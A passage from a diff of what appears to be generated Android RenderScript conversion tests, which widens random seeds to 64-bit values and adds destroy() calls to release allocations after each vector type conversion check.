+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xb570dd7b4afe6d54l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Long4Uint4(inV, out);
             verifyResultsConvertLong4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Long4Uint4: " + e.toString());
         }
@@ -16323,9 +17030,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint4Long4Uint4(inV, out);
             verifyResultsConvertLong4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Long4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -16384,11 +17093,12 @@
     }
 
     private void checkConvertUlong2Uint2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x1f70efedl, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x5cfe81861f70efedl, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Ulong2Uint2(inV, out);
             verifyResultsConvertUlong2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Ulong2Uint2: " + e.toString());
         }
@@ -16396,9 +17106,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Ulong2Uint2(inV, out);
             verifyResultsConvertUlong2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Ulong2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -16452,11 +17164,12 @@
     }
 
     private void checkConvertUlong3Uint3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x7e78b4e1l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x5cfe8c277e78b4e1l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Ulong3Uint3(inV, out);
             verifyResultsConvertUlong3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Ulong3Uint3: " + e.toString());
         }
@@ -16464,9 +17177,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Ulong3Uint3(inV, out);
             verifyResultsConvertUlong3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Ulong3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -16520,11 +17235,12 @@
     }
 
     private void checkConvertUlong4Uint4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0xdd8079d5l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x5cfe96c8dd8079d5l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Ulong4Uint4(inV, out);
             verifyResultsConvertUlong4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Ulong4Uint4: " + e.toString());
         }
@@ -16532,9 +17248,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint4Ulong4Uint4(inV, out);
             verifyResultsConvertUlong4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Ulong4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -16593,11 +17311,12 @@
     }
 
     private void checkConvertFloat2Double2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x46e08221l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x36c6372446e08221l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Float2Double2(inV, out);
             verifyResultsConvertFloat2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Float2Double2: " + e.toString());
         }
@@ -16605,9 +17324,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Float2Double2(inV, out);
             verifyResultsConvertFloat2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Float2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -16662,11 +17383,12 @@
     }
 
     private void checkConvertFloat3Double3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x9d3c134dl, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3712feab9d3c134dl, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Float3Double3(inV, out);
             verifyResultsConvertFloat3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Float3Double3: " + e.toString());
         }
@@ -16674,9 +17396,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Float3Double3(inV, out);
             verifyResultsConvertFloat3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Float3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -16731,11 +17455,12 @@
     }
 
     private void checkConvertFloat4Double4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf397a479l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x375fc632f397a479l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Float4Double4(inV, out);
             verifyResultsConvertFloat4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Float4Double4: " + e.toString());
         }
@@ -16743,9 +17468,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Float4Double4(inV, out);
             verifyResultsConvertFloat4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Float4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -16805,11 +17532,12 @@
     }
 
     private void checkConvertChar2Double2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x68ca2f61l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xd86d88e268ca2f61l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Char2Double2(inV, out);
             verifyResultsConvertChar2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Char2Double2: " + e.toString());
         }
@@ -16817,9 +17545,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Char2Double2(inV, out);
             verifyResultsConvertChar2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Char2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -16874,11 +17604,12 @@
     }
 
     private void checkConvertChar3Double3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xbf25c08dl, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xd8ba5069bf25c08dl, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Char3Double3(inV, out);
             verifyResultsConvertChar3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Char3Double3: " + e.toString());
         }
@@ -16886,9 +17617,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Char3Double3(inV, out);
             verifyResultsConvertChar3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Char3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -16943,11 +17676,12 @@
     }
 
     private void checkConvertChar4Double4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x158151b9l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xd90717f1158151b9l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Char4Double4(inV, out);
             verifyResultsConvertChar4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Char4Double4: " + e.toString());
         }
@@ -16955,9 +17689,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Char4Double4(inV, out);
             verifyResultsConvertChar4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Char4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -17017,11 +17753,12 @@
     }
 
     private void checkConvertUchar2Double2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x96167f1al, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x70cea2996167f1al, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Uchar2Double2(inV, out);
             verifyResultsConvertUchar2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Uchar2Double2: " + e.toString());
         }
@@ -17029,9 +17766,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Uchar2Double2(inV, out);
             verifyResultsConvertUchar2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Uchar2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -17086,11 +17825,12 @@
     }
 
     private void checkConvertUchar3Double3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xec721046l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x759b1b0ec721046l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Uchar3Double3(inV, out);
             verifyResultsConvertUchar3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Uchar3Double3: " + e.toString());
         }
@@ -17098,9 +17838,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Uchar3Double3(inV, out);
             verifyResultsConvertUchar3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Uchar3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -17155,11 +17897,12 @@
     }
 
     private void checkConvertUchar4Double4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x42cda172l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7a6793842cda172l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Uchar4Double4(inV, out);
             verifyResultsConvertUchar4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Uchar4Double4: " + e.toString());
         }
@@ -17167,9 +17910,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Uchar4Double4(inV, out);
             verifyResultsConvertUchar4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Uchar4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -17229,11 +17974,12 @@
     }
 
     private void checkConvertShort2Double2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x23d0105l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0xfdeea470023d0105l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Short2Double2(inV, out);
             verifyResultsConvertShort2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Short2Double2: " + e.toString());
         }
@@ -17241,9 +17987,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Short2Double2(inV, out);
             verifyResultsConvertShort2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Short2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -17298,11 +18046,12 @@
     }
 
     private void checkConvertShort3Double3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x58989231l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xfe3b6bf758989231l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Short3Double3(inV, out);
             verifyResultsConvertShort3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Short3Double3: " + e.toString());
         }
@@ -17310,9 +18059,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Short3Double3(inV, out);
             verifyResultsConvertShort3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Short3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -17367,11 +18118,12 @@
     }
 
     private void checkConvertShort4Double4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xaef4235dl, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xfe88337eaef4235dl, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Short4Double4(inV, out);
             verifyResultsConvertShort4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Short4Double4: " + e.toString());
         }
@@ -17379,9 +18131,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Short4Double4(inV, out);
             verifyResultsConvertShort4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Short4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -17441,11 +18195,12 @@
     }
 
     private void checkConvertUshort2Double2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x9e0e6518l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xd2b3fb649e0e6518l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Ushort2Double2(inV, out);
             verifyResultsConvertUshort2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Ushort2Double2: " + e.toString());
         }
@@ -17453,9 +18208,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Ushort2Double2(inV, out);
             verifyResultsConvertUshort2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Ushort2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -17510,11 +18267,12 @@
     }
 
     private void checkConvertUshort3Double3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xf469f644l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xd300c2ebf469f644l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Ushort3Double3(inV, out);
             verifyResultsConvertUshort3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Ushort3Double3: " + e.toString());
         }
@@ -17522,9 +18280,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Ushort3Double3(inV, out);
             verifyResultsConvertUshort3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Ushort3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -17579,11 +18339,12 @@
     }
 
     private void checkConvertUshort4Double4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x4ac58770l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xd34d8a734ac58770l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Ushort4Double4(inV, out);
             verifyResultsConvertUshort4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Ushort4Double4: " + e.toString());
         }
@@ -17591,9 +18352,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Ushort4Double4(inV, out);
             verifyResultsConvertUshort4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Ushort4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -17653,11 +18416,12 @@
     }
 
     private void checkConvertInt2Double2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xa40fc8f6l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x1be423b7a40fc8f6l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Int2Double2(inV, out);
             verifyResultsConvertInt2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Int2Double2: " + e.toString());
         }
@@ -17665,9 +18429,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Int2Double2(inV, out);
             verifyResultsConvertInt2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Int2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -17722,11 +18488,12 @@
     }
 
     private void checkConvertInt3Double3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xfa6b5a22l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x1c30eb3efa6b5a22l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Int3Double3(inV, out);
             verifyResultsConvertInt3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Int3Double3: " + e.toString());
         }
@@ -17734,9 +18501,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Int3Double3(inV, out);
             verifyResultsConvertInt3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Int3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -17791,11 +18560,12 @@
     }
 
     private void checkConvertInt4Double4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x50c6eb4el, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x1c7db2c650c6eb4el, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Int4Double4(inV, out);
             verifyResultsConvertInt4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Int4Double4: " + e.toString());
         }
@@ -17803,9 +18573,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Int4Double4(inV, out);
             verifyResultsConvertInt4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Int4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -17865,11 +18637,12 @@
     }
 
     private void checkConvertUint2Double2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x3fe7e2a1l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x40b243bf3fe7e2a1l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Uint2Double2(inV, out);
             verifyResultsConvertUint2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Uint2Double2: " + e.toString());
         }
@@ -17877,9 +18650,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Uint2Double2(inV, out);
             verifyResultsConvertUint2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Uint2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -17934,11 +18709,12 @@
     }
 
     private void checkConvertUint3Double3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x964373cdl, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x40ff0b46964373cdl, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Uint3Double3(inV, out);
             verifyResultsConvertUint3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Uint3Double3: " + e.toString());
         }
@@ -17946,9 +18722,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Uint3Double3(inV, out);
